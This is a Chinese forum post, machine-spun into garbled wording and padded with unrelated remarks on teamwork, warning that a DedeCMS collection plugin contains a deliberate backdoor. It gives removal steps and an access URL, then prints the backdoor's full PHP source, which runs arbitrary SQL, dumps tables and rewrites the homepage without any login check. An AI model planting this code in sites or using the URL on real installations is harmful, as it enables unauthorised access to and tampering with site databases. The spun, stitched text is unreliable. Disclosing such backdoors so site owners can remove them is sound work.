|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
学校并没有那么多的时间可以让我们在实际开发上面。 去除官方后门办法:装置好收集巨匠后,请当即删除 include目次下的dedesql.query.php文件,如已装置过,有能够文件已被更名为arc.sqlquery.class.php,找到并删除便可。此文件可被使用来在无需登录验证的情形下查询网站数据库,并停止更新、删除、查询数据等操作。人人也能够本人测试一下是不是如我所说,办法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输出以上彀址,便可翻开后门界面。
说假话,会居心留后门的法式,最好的办法就是别用。这个后门被发明了,天晓得下一个所谓的新版本还会不会冒出更多的后门来。尔后门文件代码以下:
复制代码 代码以下:
<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename("dedesql.query.php","arc.sqlquery.class.php")){
echo "胜利!";
}else{
echo "掉败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute("me");
$row2 = $dsql->GetArray("me",MYSQL_BOTH);
$ctinfo = $row2[1];
echo "<xmp>".trim($ctinfo)."</xmp>";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC."/arc.partview.class.php");
$envs = $_sys_globals = array();
$envs["aid"] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne("Select * From `#@__homepageset`");
$templet = str_replace("{style}",$cfg_df_style,$row["templet"]);
$homeFile = dirname(__FILE__)."/".$row["position"];
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile));
$fp = fopen($homeFile,"w") or die("没法更新网站主页到:$homeFile 地位");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir."/".$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "胜利更新首页!";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) eregi("drop(.*)database",$sqlquery))
{
echo "<span style="font-size:10pt">删除"数据表"或"数据库"的语句不答应在这里履行。</span>";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运转SQL:{$sqlquery},无前往纪录!";
}
else
{
echo "运转SQL:{$sqlquery},共有".$dsql->GetTotalRow()."笔记录,最大前往100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "<hr size=1 width="100%"/>";
echo "纪录:$j";
echo "<hr size=1 width="100%"/>";
foreach($row as $k=>$v)
{
echo "<font color="red">{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = split(";[ \t]{0,}\n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "履行: <font color="blue">$q</font> 失足,毛病提醒:<font color="red">".$errCode."</font><br>";
}
}
echo "胜利履行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "胜利履行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo "<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">
<title>SQL号令行东西</title>
<link href=\"img/base.CSS\" rel=\"stylesheet\" type=\"text/css\">
</head>
<body background=\"img/allbg.gif\" leftmargin=\"8\" topmargin=\"8\">
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA">
<tr>
<td height="19" background="img/tbg.gif">
<table width="96%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td width="24%"><strong>SQL号令运转器:</strong></td>
<td width="76%" align="right"> <b><a href="sys_data.php"><u>数据备份</u></a></b>
<b><a href="sys_data_revert.php"><strong><u>数据复原</u></strong></a></b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="200" bgcolor="#FFFFFF" valign="top">
<table width="100%" border="0" cellspacing="4" cellpadding="2">
<form action="" method="post" name="infoform" target="stafrm">
<input type=\"hidden\" name=\"dopost\" value=\"viewinfo\" />
<tr bgcolor="#F3FBEC">
<td width="15%" height="24" align="center">体系的表信息:</td>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="35%">
<select name="tablename" id="tablename" style="width:100%" size="6">
";
$dsql->SetQuery("Show Tables");
$dsql->Execute("t");
while($row = $dsql->GetArray("t",MYSQL_BOTH))
{
$dsql->SetQuery("Select count(*) From ".$row[0]);
$dsql->Execute("n");
$row2 = $dsql->GetArray("n",MYSQL_BOTH);
$dd = $row2[0];
echo " <option value="".$row[0]."">".$row[0]."(".$dd.")</option>\r\n";
}
;echo " </select>
</td>
<td width="2%"> </td>
<td width="63%" valign="bottom">
<div style="float:left;margin-right:20px;">
<input type="Submit" name="Submit1" value="优化选中表" class="coolbg np" />
<br />
<input type="Submit" name="Submit2" value="修复选中表" class="coolbg np" style="margin-top:6px;" />
<br />
<input type="Submit" name="Submit3" value="检查表布局" class="coolbg np" style="margin-top:6px;" />
</div>
<div style="float:left">
<input type="Submit" name="Submit5" value="优化全体表" class="coolbg np" />
<br />
<input type="Submit" name="Submit6" value="修复全体表" class="coolbg np" style="margin-top:6px;" />
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
<td height="200" align="center">前往信息:</td>
<td>
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe>
</td>
</tr>
</form>
<form action="" method="post" name="form1" target="stafrm">
<input type=\"hidden\" name=\"dopost\" value=\"query\">
<tr>
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>运转SQL号令行:
<input name="querytype" type="radio" class="np" value="0">
单行号令(撑持复杂查询)
<input name="querytype" type="radio" class="np" value="2" checked>
多行号令</strong></td>
</tr>
<tr>
<td height="118" colspan="2">
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" style="width:90%"></textarea>
</td>
</tr>
<tr>
<td height="53" align="center"> </td>
<td>
<input name="imageField" type="image" src="http://www.jb51.net/article/img/button_ok.gif" width="60" height="22" border="0" class=\"np\" />
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
</html>
";}
?>
在一个团队之中或者说是在一个公司的工作岗位上,需要注重团队之间的交流合作;在学习或工作上都要端正自己的态度,要以认真的态度来对每件事,这样才能让自己更快的投入、更快的学习,而不至于浪费自己的时间。 |
|